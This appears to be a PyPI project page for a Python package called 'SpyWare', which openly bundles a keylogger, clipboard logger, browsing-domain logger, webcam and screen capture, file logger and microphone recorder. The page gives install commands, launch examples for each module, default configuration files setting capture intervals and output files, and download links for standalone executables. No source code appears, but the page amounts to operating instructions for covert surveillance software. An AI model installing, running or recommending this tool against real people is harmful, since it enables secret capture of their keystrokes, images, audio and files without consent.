This package implement a complete SpyWare.
Project description
SpyWare
Description
This package implement a spyware.
You have:
- KeyLogger
- ClipboardLogger
- Domains/IP logger
- Webcam spy
- Screen spy
- Files logger
- Recorder
Requirements
This package require :
- python3
- python3 Standard Library
- pyautogui
- opencv-python
- pillow
- pyperclip
- pynput
- pyaudio
Installation
pip install SpyWare
Launcher
Command line:
SpyWare # Run all modules
SpyWare screen # Run module screenshot
SpyWare key keylogger.conf # Run module key with custom config file
Python script
from SpyWare import spyware
spyware() # Run all modules
from SpyWare import AudioLogger
AudioLogger.audioSpy()
from os import environ
environ["clipboardSpy.conf"] = "clipboard.conf" # Set environ variable before import SpyWare module(s)
from SpyWare.CopyLogger import Daemon
daemon = Daemon()
daemon.run_for_ever()
To change the config file with os.environ you can use the default filename.
Defaults filenames are PYTHON-DIR/Lib/site-packages/SpyWare/<Module>/*.conf.
Python executable:
python3 WebcamLogger.pyz webcamSpy.conf
# OR
chmod u+x WebcamLogger.pyz # add execute rights
./WebcamLogger.pyz webcamSpy.conf # execute file
python3 SpyWare.pyz screen screenSpy.conf # run one module
chmod u+x SpyWare.pyz
./SpyWare.pyz screen screenSpy.conf # run one module
You can't use python executable file without custom configuration file.
python3 WebcamLogger.pyz
Traceback (most recent call last):
...
KeyError: ...
So you can't run all module with one command line and python executable:
python3 SpyWare.pyz
Traceback (most recent call last):
...
KeyError: ...
Python module (command line):
python3 -m SpyWare # run all
python3 -m SpyWare.AudioLogger # run one module
python3 -m SpyWare.AudioLogger audioSpy.conf # run one module with configuration file
python3 -m SpyWare.AudioLogger.AudioLogger # this command run one module too
Default configurations files
Clipboard
[SAVE]
filename = clipboard.txt
[TIME]
clipboardSleep = 11
Recorder
[SAVE]
filename = record*.wav
dirname = records
[TIME]
recordSleep = 3590
recordTime = 10
Domains
[SAVE]
filename = domains.txt
[TIME]
dnsSleep = 60
browserSleep = 86400
readingFileSleep = 0.5
getDomainSleep = 0.05
Fileslogger
[SAVE]
filename = files.csv
[TIME]
fileSleep = 0
directorySleep = 1
relaunchSleep = 86400
Keylogger
[SAVE]
filename = keySpy.txt
event_press = 0
event_release = 0
hot_keys = 1
event_time = 1
[TIME]
Screenshot
[SAVE]
filename = screenshot*.png
dirname = screenshots
[TIME]
screenshotSleep = 3600
Webcam
[SAVE]
filename = webcam*.png
dirname = pictures
[TIME]
pictureSleep = 3600
Links
- Github Page
- Documentation
- Documentation Keylogger
- Documentation Recorder
- Documentation Clipboard
- Documentation Webcam
- Documentation Screenshot
- Documentation Files
- Documentation Domains
- Download as python executable
- Download Keylogger as python executable
- Download Recorder as python executable
- Download Clipboard as python executable
- Download Webcam as python executable
- Download Screenshot as python executable
- Download Files as python executable
- Download Domains as python executable
- Pypi package
Licence
Licensed under the GPL, version 3.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
SpyWare-0.0.1.tar.gz
(235.3 kB
view details)
File details
Details for the file SpyWare-0.0.1.tar.gz.
File metadata
- Download URL: SpyWare-0.0.1.tar.gz
- Upload date:
- Size: 235.3 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.2.0 pkginfo/1.6.1 requests/2.25.0 setuptools/52.0.0 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.9.1+
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
07409dabc82fc13029940e51dced7680901a9753afb297d6a8e6afb19b685545
|
|
| MD5 |
699ac553cb0d619c21212fe0a976ee90
|
|
| BLAKE2b-256 |
8ce3f75ea2380fd9e7d3066405657f3c9225fc02c4fc609eb7462efcc68450f4
|